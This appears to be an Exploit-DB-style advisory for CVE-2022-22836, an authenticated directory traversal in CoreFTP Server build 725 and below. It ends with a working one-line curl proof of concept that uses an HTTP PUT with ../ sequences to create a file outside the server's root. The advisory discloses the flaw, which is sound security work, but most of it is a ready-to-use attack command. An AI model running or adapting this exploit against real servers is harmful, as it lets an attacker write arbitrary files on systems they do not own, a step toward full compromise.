# Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated) # Date: 08/01/2022 # Exploit Author: LiamInfosec # Vendor Homepage: http://coreftp.com/ # Version: build 725 and below # Tested on: Windows 10 # CVE : CVE-2022-22836 # Description: CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request. # Proof of Concept: curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops